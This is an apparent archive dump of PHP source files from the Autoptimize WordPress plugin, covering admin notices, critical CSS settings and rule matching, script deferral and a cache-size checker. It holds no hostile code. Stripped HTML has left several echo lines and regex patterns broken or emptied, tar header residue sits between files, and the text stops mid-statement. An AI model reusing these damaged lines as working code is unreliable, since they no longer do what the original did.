'; printf( esc_html__( 'Autoptimize has just been updated. Please %1$stest your site now%2$s and adapt Autoptimize config if needed.', 'autoptimize' ), '', '' ); echo '

'; } public static function notice_plug_imgopt() { // Translators: the URL added points to the Autopmize Extra settings. $_ao_imgopt_plug_notice = sprintf( esc_html__( 'Did you know that Autoptimize offers on-the-fly image optimization (with support for WebP and AVIF) and CDN via ShortPixel? Check out the %1$sAutoptimize Image settings%2$s to enable this option.', 'autoptimize' ), '', '' ); $_ao_imgopt_plug_notice = apply_filters( 'autoptimize_filter_main_imgopt_plug_notice', $_ao_imgopt_plug_notice ); $_ao_imgopt_launch_ok = autoptimizeImages::launch_ok_wrapper(); $_ao_imgopt_plug_dismissible = 'ao-img-opt-plug-123'; $_ao_imgopt_active = autoptimizeImages::imgopt_active(); $_is_ao_settings_page = autoptimizeUtils::is_ao_settings(); if ( current_user_can( 'manage_options' ) && ! defined( 'AO_PRO_VERSION' ) && $_is_ao_settings_page && '' !== $_ao_imgopt_plug_notice && ! $_ao_imgopt_active && $_ao_imgopt_launch_ok && PAnD::is_admin_notice_active( $_ao_imgopt_plug_dismissible ) ) { echo '

'; echo $_ao_imgopt_plug_notice; echo '

'; } } public static function notice_imgopt_issue() { // Translators: the URL added points to the Autopmize Extra settings. $_ao_imgopt_issue_notice = sprintf( esc_html__( 'Shortpixel reports it cannot always reach your site, which might mean some images are not optimized. You can %1$sread more about why this happens and how you can fix that problem here%2$s.', 'autoptimize' ), '', '' ); $_ao_imgopt_issue_notice = apply_filters( 'autoptimize_filter_main_imgopt_issue_notice', $_ao_imgopt_issue_notice ); $_ao_imgopt_issue_dismissible = 'ao-img-opt-issue-14'; $_ao_imgopt_active = autoptimizeImages::imgopt_active(); $_ao_imgopt_status = autoptimizeOptionWrapper::get_option( 'autoptimize_imgopt_provider_stat', '' ); if ( is_array( $_ao_imgopt_status ) && array_key_exists( 'TemporaryRedirectOrigin', $_ao_imgopt_status ) && ( $_ao_imgopt_status['TemporaryRedirectOrigin'] === "true" || $_ao_imgopt_status['TemporaryRedirectOrigin'] === true ) ) { $_ao_imgopt_status_redirect_warning = true; } else { $_ao_imgopt_status_redirect_warning = false; } if ( current_user_can( 'manage_options' ) && $_ao_imgopt_active && $_ao_imgopt_status_redirect_warning && '' !== $_ao_imgopt_issue_notice && PAnD::is_admin_notice_active( $_ao_imgopt_issue_dismissible ) ) { echo '

'; echo $_ao_imgopt_issue_notice; echo '

'; } } public static function notice_nopagecache() { /* * Autoptimize does not do page caching (yet) but not everyone knows, so below logic tries to find out if page caching is available and if not show a notice on the AO Settings pages. * * uses helper function in autoptimizeUtils.php */ // translators: strong tags and a break. $_ao_nopagecache_notice = sprintf( esc_html__( 'It looks like your site might not have %1$spage caching%2$s which is a %1$smust-have for performance%2$s. If you are sure you have a page cache, you can close this notice.%3$sWhen in doubt check with your host if they offer this or install a free page caching plugin like for example KeyCDN Cache Enabler', 'autoptimize' ), '', '', '
' ); // translators: strong tags. $_ao_nopagecache_notice .= ' ' . esc_html__('or consider ', 'autoptimize') . 'Autoptimize Pro' . sprintf( esc_html__( ' which not only has page caching but also image optimization, critical CSS and advanced booster options %1$sto make your site significantly faster%2$s!', 'autoptimize' ), '', '' ); $_ao_nopagecache_dismissible = 'ao-nopagecache-forever'; // the notice is only shown once and will not re-appear when dismissed. $_is_ao_settings_page = autoptimizeUtils::is_ao_settings(); if ( current_user_can( 'manage_options' ) && $_is_ao_settings_page && PAnD::is_admin_notice_active( $_ao_nopagecache_dismissible ) && true === apply_filters( 'autoptimize_filter_main_show_pagecache_notice', true ) ) { if ( false === autoptimizeUtils::find_pagecache() ) { echo '

'; echo $_ao_nopagecache_notice; echo '

'; } } } public static function notice_potential_conflict() { /* * Using other plugins to do CSS/ JS optimization can cause unexpected and hard to troubleshoot issues, warn users who seem to be in that situation. */ // Translators: some strong tags + the sentence will be finished with the name of the offending plugin and a final stop. $_ao_potential_conflict_notice = sprintf( esc_html__( 'It looks like you have %1$sanother plugin also doing CSS and/ or JS optimization%2$s, which can result in hard to troubleshoot %1$sconflicts%2$s. For this reason it is recommended to disable this functionality in', 'autoptimize' ), '', '' ) . ' '; $_ao_potential_conflict_dismissible = 'ao-potential-conflict-forever'; // the notice is only shown once and will not re-appear when dismissed. $_is_ao_settings_page = autoptimizeUtils::is_ao_settings(); if ( current_user_can( 'manage_options' ) && $_is_ao_settings_page && PAnD::is_admin_notice_active( $_ao_potential_conflict_dismissible ) && true === apply_filters( 'autoptimize_filter_main_show_potential_conclict_notice', true ) ) { $_potential_conflicts = autoptimizeUtils::find_potential_conflicts(); if ( false !== $_potential_conflicts ) { $_ao_potential_conflict_notice .= '' . $_potential_conflicts . '.'; echo '

'; echo $_ao_potential_conflict_notice; echo '

'; } } } } plugins/autoptimize-/classes/autoptimizeCriticalCSSSettings.php000064400000056264152335264760021173 0ustar00criticalcss = autoptimize()->criticalcss(); $this->settings_screen_do_remote_http = apply_filters( 'autoptimize_settingsscreen_remotehttp', $this->settings_screen_do_remote_http ); $this->run(); } protected function enabled() { return apply_filters( 'autoptimize_filter_show_criticalcss_tabs', true ); } public function run() { if ( $this->enabled() ) { add_filter( 'autoptimize_filter_settingsscreen_tabs', array( $this, 'add_critcss_tabs' ), 10, 1 ); add_action( 'admin_enqueue_scripts', array( $this, 'admin_assets' ) ); if ( $this->is_multisite_network_admin() && autoptimizeOptionWrapper::is_ao_active_for_network() ) { add_action( 'network_admin_menu', array( $this, 'add_critcss_admin_menu' ) ); } else { add_action( 'admin_menu', array( $this, 'add_critcss_admin_menu' ) ); } $criticalcss_ajax = new autoptimizeCriticalCSSSettingsAjax(); // if debug logging is off but the file is present, then remove the debug log file. if ( empty( $this->criticalcss->get_option( 'debug' ) ) && file_exists( AO_CCSS_LOG ) ) { unlink( AO_CCSS_LOG ); } } } public function add_critcss_tabs( $in ) { $in = array_merge( $in, array( 'ao_critcss' => apply_filters( 'autoptimize_filter_ccss_tab_text', '⚡ ' . esc_html__( 'Critical CSS', 'autoptimize' ) ) ) ); return $in; } public function add_critcss_admin_menu() { // Register settings. register_setting( 'ao_ccss_options_group', 'autoptimize_css_defer_inline' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_rules' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_additional' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_queue' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_viewport' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_finclude' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_rtimelimit' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_noptimize' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_debug' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_key' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_keyst' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_loggedin' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_forcepath' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_deferjquery' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_domain' ); register_setting( 'ao_ccss_options_group', 'autoptimize_ccss_unloadccss' ); // And add submenu-page. add_submenu_page( '', 'Critical CSS', 'Critical CSS', 'manage_options', 'ao_critcss', array( $this, 'ao_criticalcsssettings_page' ) ); } public function admin_assets( $hook ) { // Return if plugin is not hooked. if ( 'settings_page_ao_critcss' != $hook && 'admin_page_ao_critcss' != $hook ) { return; } // Stylesheets to add. wp_enqueue_style( 'wp-jquery-ui-dialog' ); wp_enqueue_style( 'ao-tablesorter', plugins_url( 'critcss-inc/css/ao-tablesorter/style.css', __FILE__ ), null, AUTOPTIMIZE_PLUGIN_VERSION ); wp_enqueue_style( 'ao-ccss-admin-css', plugins_url( 'critcss-inc/css/admin_styles.css', __FILE__ ), null, AUTOPTIMIZE_PLUGIN_VERSION ); // Scripts to add. wp_enqueue_script( 'jquery-ui-dialog', '', array( 'jquery' ), null, true ); wp_enqueue_script( 'md5', plugins_url( 'critcss-inc/js/md5.min.js', __FILE__ ), null, AUTOPTIMIZE_PLUGIN_VERSION, true ); wp_enqueue_script( 'tablesorter', plugins_url( 'critcss-inc/js/jquery.tablesorter.min.js', __FILE__ ), array( 'jquery' ), AUTOPTIMIZE_PLUGIN_VERSION, true ); wp_enqueue_script( 'ao-ccss-admin-license', plugins_url( 'critcss-inc/js/admin_settings.js', __FILE__ ), array( 'jquery' ), AUTOPTIMIZE_PLUGIN_VERSION, true ); } public function ao_criticalcsssettings_page() { // these are not OO yet, simply require for now. require_once( 'critcss-inc/admin_settings_rules.php' ); require_once( 'critcss-inc/admin_settings_queue.php' ); require_once( 'critcss-inc/admin_settings_key.php' ); require_once( 'critcss-inc/admin_settings_adv.php' ); require_once( 'critcss-inc/admin_settings_explain.php' ); $ao_ccss_key = $this->criticalcss->get_option( 'key' ); $ao_ccss_keyst = $this->criticalcss->get_option( 'keyst' ); $ao_css_defer = $this->criticalcss->get_option( 'css_defer' ); $ao_ccss_deferjquery = $this->criticalcss->get_option( 'deferjquery' ); $ao_ccss_queue = $this->criticalcss->get_option( 'queue' ); $ao_ccss_rules = $this->criticalcss->get_option( 'rules' ); $ao_ccss_servicestatus = $this->criticalcss->get_option( 'servicestatus' ); $ao_ccss_finclude = $this->criticalcss->get_option( 'finclude' ); $ao_ccss_rtimelimit = $this->criticalcss->get_option( 'rtimelimit' ); $ao_ccss_debug = $this->criticalcss->get_option( 'debug' ); $ao_ccss_noptimize = $this->criticalcss->get_option( 'noptimize' ); $ao_css_defer_inline = $this->criticalcss->get_option( 'css_defer_inline' ); $ao_ccss_loggedin = $this->criticalcss->get_option( 'loggedin' ); $ao_ccss_forcepath = $this->criticalcss->get_option( 'forcepath' ); $ao_ccss_domain = $this->criticalcss->get_option( 'domain' ); ?>

criticalcss->create_ao_ccss_dir(); // Warn if we could not create those files. if ( ( true !== $mkdirresult ) ) { ?>

microtime( true ) - 60 * 60 * 4 ) { $_jobs_too_old = false; } if ( $_jobs_all_new && ! $this->ao_ccss_has_autorules() && $_jobs_too_old ) { $_warn_cron = 'on'; $_transient_multiplier = 1; // store for 1 hour. } else { $_warn_cron = 'off'; $_transient_multiplier = 4; // store for 4 hours. } // and set transient. set_transient( 'ao_ccss_cronwarning', $_warn_cron, $_transient_multiplier * HOUR_IN_SECONDS ); } if ( ! empty( $ao_ccss_key ) && 'on' == $_warn_cron && PAnD::is_admin_notice_active( 'i-know-about-cron-30' ) ) { ?>

the FAQ or the info in the Job Queue instructions if all jobs remain in "N" status and no rules are created.', 'autoptimize' ); ?>

ao_ccss_has_autorules() ) { ?>

edit default rule CSS now, to avoid all CSS being inlined when no (applicable) rules are found.', 'autoptimize' ); ?>

apply_filters( 'autoptimize_ccss_rules_length_warning', 500000 ) ) { ?>

criticalcss->key_status( true ); if ( $this->is_multisite_network_admin() ) { ?>
  • Critical CSS settings cannot be set at network level as critical CSS is specific to each sub-site.

    You can however provide the critical CSS API key for use by all sites by adding this your wp-config.php as %s

    ', 'autoptimize' ), '
    define(\'AUTOPTIMIZE_CRITICALCSS_API_KEY\', \'eyJhbGmorestringsherexHa7MkOQFtDFkZgLmBLe-LpcHx4\');' ); ?>
"; } // But if key is other than valid, add hidden fields to persist settings when submitting form // Show explanation of why and how to get a API key. ao_ccss_render_explain(); // Get viewport size. $viewport = $this->criticalcss->viewport(); // Add hidden fields. echo ""; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } // Render key panel unconditionally. ao_ccss_render_key( $ao_ccss_key, $key['status'], $key['stmsg'], $key['msg'], $key['color'] ); ?>

is_multisite_network_admin() ) { echo ' class="hidden"'; } // @codingStandardsIgnoreLine ?>>
is_multisite_network_admin() ) { // Include debug panel if debug mode is enable. if ( $ao_ccss_debug ) { ?>
'; include( 'critcss-inc/admin_settings_rules.js.php' ); include( 'critcss-inc/admin_settings_queue.js.php' ); include( 'critcss-inc/admin_settings_impexp.js.php' ); echo ''; } } public function ao_ccss_has_autorules() { static $_has_auto_rules = null; if ( null === $_has_auto_rules ) { $ao_ccss_rules = $this->criticalcss->get_option( 'rules' ); $_has_auto_rules = false; if ( ! empty( $ao_ccss_rules ) ) { foreach ( array( 'types', 'paths' ) as $_typat ) { foreach ( $ao_ccss_rules[ $_typat ] as $rule ) { if ( ! empty( $rule['hash'] ) ) { // we have at least one AUTO job, so all is fine. $_has_auto_rules = true; break; } } if ( $_has_auto_rules ) { break; } } } } return $_has_auto_rules; } public static function is_multisite_network_admin() { static $_multisite_network_admin = null; if ( null === $_multisite_network_admin ) { if ( is_multisite() && is_network_admin() ) { $_multisite_network_admin = true; } else { $_multisite_network_admin = false; } } return $_multisite_network_admin; } } plugins/autoptimize-/classes/autoptimizeCacheChecker.php000064400000012641152335264760017626 0ustar00 0.5GB (size is filterable), if so, an option is set which controls showing an admin notice. */ if ( ! defined( 'ABSPATH' ) ) { exit; } class autoptimizeCacheChecker { const SCHEDULE_HOOK = 'ao_cachechecker'; public function __construct() { } public function run() { $this->add_hooks(); } public function add_hooks() { if ( is_admin() ) { add_action( 'plugins_loaded', array( $this, 'setup' ) ); } add_action( self::SCHEDULE_HOOK, array( $this, 'cronjob' ) ); add_action( 'admin_notices', array( $this, 'show_admin_notice' ) ); } public function setup() { $do_cache_check = (bool) apply_filters( 'autoptimize_filter_cachecheck_do', true ); $schedule = wp_get_schedule( self::SCHEDULE_HOOK ); $frequency = apply_filters( 'autoptimize_filter_cachecheck_frequency', 'twicedaily' ); if ( ! in_array( $frequency, array( 'hourly', 'twicedaily', 'daily', 'weekly', 'monthly' ) ) ) { $frequency = 'twicedaily'; } if ( $do_cache_check && ( ! $schedule || $schedule !== $frequency ) ) { if ( $schedule ) { wp_clear_scheduled_hook( self::SCHEDULE_HOOK ); } wp_schedule_event( time(), $frequency, self::SCHEDULE_HOOK ); } elseif ( $schedule && ! $do_cache_check ) { wp_clear_scheduled_hook( self::SCHEDULE_HOOK ); } } public function cronjob() { // Check cachesize and act accordingly. $max_size = (int) apply_filters( 'autoptimize_filter_cachecheck_maxsize', 536870912 ); $do_cache_check = (bool) apply_filters( 'autoptimize_filter_cachecheck_do', true ); $stat_array = autoptimizeCache::stats(); $cache_size = round( $stat_array[1] ); if ( ( $cache_size > $max_size ) && ( $do_cache_check ) ) { autoptimizeOptionWrapper::update_option( 'autoptimize_cachesize_notice', true ); if ( apply_filters( 'autoptimize_filter_cachecheck_sendmail', true ) ) { $home_url = esc_url( home_url() ); $ao_mailto = apply_filters( 'autoptimize_filter_cachecheck_mailto', autoptimizeOptionWrapper::get_option( 'admin_email', '' ) ); $ao_mailsubject = esc_html__( 'Autoptimize cache size warning', 'autoptimize' ) . ' (' . $home_url . ')'; $ao_mailbody = esc_html__( 'Autoptimize\'s cache size is getting big, consider purging the cache. Have a look at https://wordpress.org/plugins/autoptimize/faq/ to see how you can keep the cache size under control.', 'autoptimize' ) . ' (site: ' . $home_url . ')'; if ( ! empty( $ao_mailto ) ) { $ao_mailresult = wp_mail( $ao_mailto, $ao_mailsubject, $ao_mailbody ); if ( ! $ao_mailresult ) { error_log( 'Autoptimize could not send cache size warning mail.' ); } } } } // Check if 3rd party services (e.g. image proxy) are up. autoptimizeUtils::check_service_availability(); // Nukes advanced cache clearing artifacts if they exists... autoptimizeCache::delete_advanced_cache_clear_artifacts(); // Check image optimization stats. autoptimizeImages::instance()->query_img_provider_stats(); } public function show_admin_notice() { if ( (bool) autoptimizeOptionWrapper::get_option( 'autoptimize_cachesize_notice', false ) && current_user_can( 'manage_options' ) ) { echo '

'; // Translators: first two variables are strong tags, 3rd is link to the AO FAQ and the 4th closes that tag. printf( esc_html__( '%1$sAutoptimize\'s cache size is getting big%2$s, consider purging the cache. Have a look at %3$sthe Autoptimize FAQ%4$s to see how you can keep the cache size under control.', 'autoptimize' ), '', '', '', '' ); echo '

'; autoptimizeOptionWrapper::update_option( 'autoptimize_cachesize_notice', false ); } // Notice for image proxy usage. $_imgopt_notice = autoptimizeImages::instance()->get_imgopt_status_notice_wrapper(); if ( current_user_can( 'manage_options' ) && is_array( $_imgopt_notice ) && array_key_exists( 'status', $_imgopt_notice ) && in_array( $_imgopt_notice['status'], array( 1, -1, -2, -3 ) ) ) { $_dismissible = 'ao-img-opt-notice-'; $_hide_notice = '7'; if ( -1 == $_imgopt_notice['status'] || -2 == $_imgopt_notice['status'] || -3 == $_imgopt_notice['status'] ) { $_hide_notice = '1'; } $_imgopt_notice_dismissible = apply_filters( 'autoptimize_filter_imgopt_notice_dismissable', $_dismissible . $_hide_notice ); if ( $_imgopt_notice && PAnD::is_admin_notice_active( $_imgopt_notice_dismissible ) ) { echo '

' . esc_html__( 'Autoptimize', 'autoptimize' ) . ': ' . $_imgopt_notice['notice'] . '

'; } } } } plugins/autoptimize-/classes/autoptimizeCriticalCSSCore.php000064400000074111152335264760020252 0ustar00criticalcss = autoptimize()->criticalcss(); $this->run(); } public function run() { $css_defer = $this->criticalcss->get_option( 'css_defer' ); $deferjquery = $this->criticalcss->get_option( 'deferjquery' ); $unloadccss = $this->criticalcss->get_option( 'unloadccss' ); if ( ! $css_defer ) { return; } // add all filters to do CCSS // Set AO behavior: disable minification to avoid double minifying and caching. add_filter( 'autoptimize_filter_css_critcss_minify', '__return_false' ); add_filter( 'autoptimize_filter_css_defer_inline', array( $this, 'ao_ccss_frontend' ), 10, 1 ); // Add the action to enqueue jobs for CriticalCSS cron. if ( $this->criticalcss->is_api_active() ) { add_action( 'autoptimize_action_css_hash', array( $this->criticalcss, 'enqueue' ), 10, 1 ); } // conditionally add the filter to defer jquery and others but only if not done so in autoptimizeScripts. $_native_defer = false; if ( 'on' === autoptimizeOptionWrapper::get_option( 'autoptimize_js_defer_not_aggregate' ) && 'on' === autoptimizeOptionWrapper::get_option( 'autoptimize_js_defer_inline' ) ) { $_native_defer = true; } if ( $deferjquery && ! $_native_defer ) { add_filter( 'autoptimize_html_after_minify', array( $this, 'ao_ccss_defer_jquery' ), 11, 1 ); } // conditionally add filter to unload the CCSS. if ( $unloadccss ) { add_filter( 'autoptimize_html_after_minify', array( $this, 'ao_ccss_unloadccss' ), 12, 1 ); } // Order paths by length, as longest ones have greater priority in the rules. $rules = $this->criticalcss->get_option( 'rules' ); if ( ! empty( $rules['paths'] ) ) { $keys = array_map( 'strlen', array_keys( $rules['paths'] ) ); array_multisort( $keys, SORT_DESC, $rules['paths'] ); // TODO: Not sure what we're doing here. Sorted the $keys, // but they don't seem to be used anywhere. } // Add an array with default WordPress's conditional tags // NOTE: these tags are sorted. $this->_types = $this->get_ao_ccss_core_types(); // Extend conditional tags on plugin initalization. add_action( apply_filters( 'autoptimize_filter_ccss_extend_types_hook', 'init' ), array( $this, 'ao_ccss_extend_types' ) ); // When autoptimize cache is cleared, also clear transient cache for page templates. add_action( 'autoptimize_action_cachepurged', array( $this, 'ao_ccss_clear_page_tpl_cache' ), 10, 0 ); } public function ao_ccss_frontend( $inlined ) { // Apply CriticalCSS to frontend pages // Attach types and settings arrays. $rules = $this->criticalcss->get_option( 'rules' ); $additional = $this->criticalcss->get_option( 'additional' ); $loggedin = $this->criticalcss->get_option( 'loggedin' ); $debug = $this->criticalcss->get_option( 'debug' ); $no_ccss = ''; $additional = autoptimizeStyles::sanitize_css( $additional ); // Only if keystatus is OK and option to add CCSS for logged on users is on or user is not logged in. if ( $loggedin || ! is_user_logged_in() ) { // Check for a valid CriticalCSS based on path to return its contents. $req_path = strtok( $_SERVER['REQUEST_URI'], '?' ); if ( ! empty( $rules['paths'] ) ) { foreach ( $rules['paths'] as $path => $rule ) { // explicit match OR partial match if MANUAL rule. if ( ( $this->criticalcss->is_api_active() || $this->criticalcss->is_rule_manual( $rule ) ) && ( $req_path == $path || urldecode( $req_path ) == $path || ( apply_filters( 'autoptimize_filter_ccss_core_path_partial_match', true ) && false == $rule['hash'] && false != $rule['file'] && strpos( $req_path, str_replace( site_url(), '', $path ) ) !== false ) ) ) { if ( file_exists( AO_CCSS_DIR . $rule['file'] ) ) { $_ccss_contents = file_get_contents( AO_CCSS_DIR . $rule['file'] ); if ( 'none' != $_ccss_contents ) { if ( $debug ) { $_ccss_contents = '/* PATH: ' . $path . ' hash: ' . $rule['hash'] . ' file: ' . $rule['file'] . ' */ ' . $_ccss_contents; } return apply_filters( 'autoptimize_filter_ccss_core_ccss', $_ccss_contents . $additional ); } else { if ( $debug ) { $this->criticalcss->log( 'Path based rule with value "none" found.', 3 ); } $no_ccss = 'none'; } } } } } // Check for a valid CriticalCSS based on conditional tags to return its contents. if ( ! empty( $rules['types'] ) && 'none' !== $no_ccss ) { // order types-rules by the order of the original $ao_ccss_types array so as not to depend on the order in which rules were added. $rules['types'] = array_replace( array_intersect_key( array_flip( $this->_types ), $rules['types'] ), $rules['types'] ); $is_front_page = is_front_page(); foreach ( $rules['types'] as $type => $rule ) { if ( ( $this->criticalcss->is_api_active() || $this->criticalcss->is_rule_manual( $rule ) ) && in_array( $type, $this->_types ) && file_exists( AO_CCSS_DIR . $rule['file'] ) ) { $_ccss_contents = file_get_contents( AO_CCSS_DIR . $rule['file'] ); if ( $is_front_page && 'is_front_page' == $type ) { if ( 'none' != $_ccss_contents ) { if ( $debug ) { $_ccss_contents = '/* TYPES: ' . $type . ' hash: ' . $rule['hash'] . ' file: ' . $rule['file'] . ' */ ' . $_ccss_contents; } return apply_filters( 'autoptimize_filter_ccss_core_ccss', $_ccss_contents . $additional ); } else { if ( $debug ) { $this->criticalcss->log( 'Conditional rule for is_front_page with value "none" found.', 3 ); } $no_ccss = 'none'; } } elseif ( ( $this->criticalcss->is_api_active() || $this->criticalcss->is_rule_manual( $rule ) ) && strpos( $type, 'custom_post_' ) === 0 && ! $is_front_page ) { if ( get_post_type( get_the_ID() ) === substr( $type, 12 ) ) { if ( 'none' != $_ccss_contents ) { if ( $debug ) { $_ccss_contents = '/* TYPES: ' . $type . ' hash: ' . $rule['hash'] . ' file: ' . $rule['file'] . ' */ ' . $_ccss_contents; } return apply_filters( 'autoptimize_filter_ccss_core_ccss', $_ccss_contents . $additional ); } else { if ( $debug ) { $this->criticalcss->log( 'Conditional rule custom_post with value "none" found.', 3 ); } $no_ccss = 'none'; } } } elseif ( ( $this->criticalcss->is_api_active() || $this->criticalcss->is_rule_manual( $rule ) ) && 0 === strpos( $type, 'template_' ) && ! $is_front_page ) { if ( is_page_template( substr( $type, 9 ) ) ) { if ( 'none' != $_ccss_contents ) { if ( $debug ) { $_ccss_contents = '/* TYPES: ' . $type . ' hash: ' . $rule['hash'] . ' file: ' . $rule['file'] . ' */ ' . $_ccss_contents; } return apply_filters( 'autoptimize_filter_ccss_core_ccss', $_ccss_contents . $additional ); } else { if ( $debug ) { $this->criticalcss->log( 'Conditional rule for template with value "none" found.', 3 ); } $no_ccss = 'none'; } } } elseif ( ( $this->criticalcss->is_api_active() || $this->criticalcss->is_rule_manual( $rule ) ) && ! $is_front_page ) { // all "normal" conditional tags, core + woo + buddypress + edd + bbpress // but we have to remove the prefix for the non-core ones for them to function. $type = str_replace( array( 'woo_', 'bp_', 'bbp_', 'edd_' ), '', $type ); if ( function_exists( $type ) && call_user_func( $type ) ) { if ( 'none' != $_ccss_contents ) { if ( $debug ) { $_ccss_contents = '/* TYPES: ' . $type . ' hash: ' . $rule['hash'] . ' file: ' . $rule['file'] . ' */ ' . $_ccss_contents; } return apply_filters( 'autoptimize_filter_ccss_core_ccss', $_ccss_contents . $additional ); } else { if ( $debug ) { $this->criticalcss->log( 'Conditional rule for ' . $type . ' with value "none" found.', 3 ); } $no_ccss = 'none'; } } } } } } } // Finally, inline the default CriticalCSS if any or else the entire CSS for the page // This also applies to logged in users if the option to add CCSS for logged in users has been disabled. if ( ! empty( $inlined ) && 'none' !== $no_ccss ) { if ( $debug ) { $this->criticalcss->log( 'Using default "above the fold" CSS.', 3 ); } return apply_filters( 'autoptimize_filter_ccss_core_ccss', $inlined . $additional ); } else { if ( $debug ) { $this->criticalcss->log( 'No matching CCSS found, switching to inlining full CSS.', 3 ); } add_filter( 'autoptimize_filter_css_inline', '__return_true' ); return; } } public function ao_ccss_defer_jquery( $in ) { $loggedin = $this->criticalcss->get_option( 'loggedin' ); // defer all linked and inline JS. if ( ( ! is_user_logged_in() || $loggedin ) && preg_match_all( '#(.*)#Usmi', $in, $matches, PREG_SET_ORDER ) ) { foreach ( $matches as $match ) { if ( str_replace( apply_filters( 'autoptimize_filter_ccss_core_defer_exclude', array( 'data-noptimize="1"', 'data-cfasync="false"', 'data-pagespeed-no-defer' ) ), '', $match[0] ) !== $match[0] ) { // do not touch JS with noptimize/ cfasync/ pagespeed-no-defer flags. continue; } elseif ( '' !== $match[1] && ( ! preg_match( '//', $match[0] ) || preg_match( '/type\s*=\s*[\'"]?(?:text|application)\/(?:javascript|ecmascript)[\'"]?/i', $match[0] ) ) ) { // base64-encode and defer all inline JS. $base64_js = ''; $in = str_replace( $match[0], $base64_js, $in ); } elseif ( str_replace( array( ' defer', ' async' ), '', $match[0] ) === $match[0] ) { // and defer linked JS unless already deferred or asynced. $new_match = str_replace( '' ); if ( false !== strpos( $html_in, $_unloadccss_js . '' ) ) { return $html_in; } return str_replace( '', $_unloadccss_js . '', $html_in ); } /** * Get the types array. * * @return array|null */ public function get_types() { return $this->_types; } public function ao_ccss_extend_types() { // Extend contidional tags // Attach the conditional tags array. // in some cases $ao_ccss_types is empty and/or not an array, this should work around that problem. if ( empty( $this->_types ) || ! is_array( $this->_types ) ) { $this->_types = $this->get_ao_ccss_core_types(); $this->ao_ccss_log( 'Empty types array in extend, refetching array with core conditionals.', 3 ); } // Custom Post Types. $cpts = get_post_types( array( 'public' => true, '_builtin' => false, ), 'names', 'and' ); foreach ( $cpts as $cpt ) { array_unshift( $this->_types, 'custom_post_' . $cpt ); } // Templates. // Transient cache to avoid frequent disk reads. $templates = get_transient( 'autoptimize_ccss_page_templates' ); if ( ! $templates ) { $templates = wp_get_theme()->get_page_templates(); set_transient( 'autoptimize_ccss_page_templates', $templates, HOUR_IN_SECONDS ); } foreach ( $templates as $tplfile => $tplname ) { array_unshift( $this->_types, 'template_' . $tplfile ); } // bbPress tags. if ( function_exists( 'is_bbpress' ) ) { $this->_types = array_merge( array( 'bbp_is_bbpress', 'bbp_is_favorites', 'bbp_is_forum_archive', 'bbp_is_replies_created', 'bbp_is_reply_edit', 'bbp_is_reply_move', 'bbp_is_search', 'bbp_is_search_results', 'bbp_is_single_forum', 'bbp_is_single_reply', 'bbp_is_single_topic', 'bbp_is_single_user', 'bbp_is_single_user_edit', 'bbp_is_single_view', 'bbp_is_subscriptions', 'bbp_is_topic_archive', 'bbp_is_topic_edit', 'bbp_is_topic_merge', 'bbp_is_topic_split', 'bbp_is_topic_tag', 'bbp_is_topic_tag_edit', 'bbp_is_topics_created', 'bbp_is_user_home', 'bbp_is_user_home_edit', ), $this->_types ); } // BuddyPress tags. if ( function_exists( 'is_buddypress' ) ) { $this->_types = array_merge( array( 'bp_is_activation_page', 'bp_is_activity', 'bp_is_blogs', 'bp_is_buddypress', 'bp_is_change_avatar', 'bp_is_create_blog', 'bp_is_friend_requests', 'bp_is_friends', 'bp_is_friends_activity', 'bp_is_friends_screen', 'bp_is_group_admin_page', 'bp_is_group_create', 'bp_is_group_forum', 'bp_is_group_forum_topic', 'bp_is_group_home', 'bp_is_group_invites', 'bp_is_group_leave', 'bp_is_group_members', 'bp_is_group_single', 'bp_is_groups', 'bp_is_messages', 'bp_is_messages_compose_screen', 'bp_is_messages_conversation', 'bp_is_messages_inbox', 'bp_is_messages_sentbox', 'bp_is_my_activity', 'bp_is_my_blogs', 'bp_is_notices', 'bp_is_profile_edit', 'bp_is_register_page', 'bp_is_settings_component', 'bp_is_user', 'bp_is_user_profile', 'bp_is_wire', ), $this->_types ); } // Easy Digital Downloads (EDD) tags. if ( function_exists( 'edd_is_checkout' ) ) { $this->_types = array_merge( array( 'edd_is_checkout', 'edd_is_failed_transaction_page', 'edd_is_purchase_history_page', 'edd_is_success_page', ), $this->_types ); } // WooCommerce tags. if ( class_exists( 'WooCommerce' ) ) { $this->_types = array_merge( array( 'woo_is_account_page', 'woo_is_cart', 'woo_is_checkout', 'woo_is_product', 'woo_is_product_category', 'woo_is_product_tag', 'woo_is_shop', 'woo_is_wc_endpoint_url', 'woo_is_woocommerce', ), $this->_types ); } } public function get_ao_ccss_core_types() { return array( 'is_404', 'is_front_page', 'is_home', 'is_page', 'is_single', 'is_category', 'is_author', 'is_archive', 'is_search', 'is_attachment', 'is_sticky', 'is_paged', ); } public function ao_ccss_key_status( $render ) { // Provide key status // Get key and key status. $key = $this->criticalcss->get_option( 'key' ); $key_status = $this->criticalcss->get_option( 'keyst' ); // Prepare returned variables. $key_return = array(); $status = false; if ( $key && 2 == $key_status ) { // Key exists and its status is valid. // Set valid key status. $status = 'valid'; $status_msg = esc_html__( 'Valid' ); $color = '#46b450'; // Green. $message = null; } elseif ( $key && 1 == $key_status ) { // Key exists but its validation has failed. // Set invalid key status. $status = 'invalid'; $status_msg = esc_html__( 'Invalid' ); $color = '#dc3232'; // Red. // Translators: link to criticalcss.com page. $message = sprintf( esc_html__( 'Your API key is invalid. Please enter a valid %1$scriticalcss.com%2$s key.', 'autoptimize' ), '', '' ); } elseif ( $key && ! $key_status ) { // Key exists but it has no valid status yet // Perform key validation. $key_check = $this->ao_ccss_key_validation( $key ); // Key is valid, set valid status. if ( $key_check ) { $status = 'valid'; $status_msg = esc_html__( 'Valid' ); $color = '#46b450'; // Green. $message = null; } else { // Key is invalid, set invalid status. $status = 'invalid'; $status_msg = 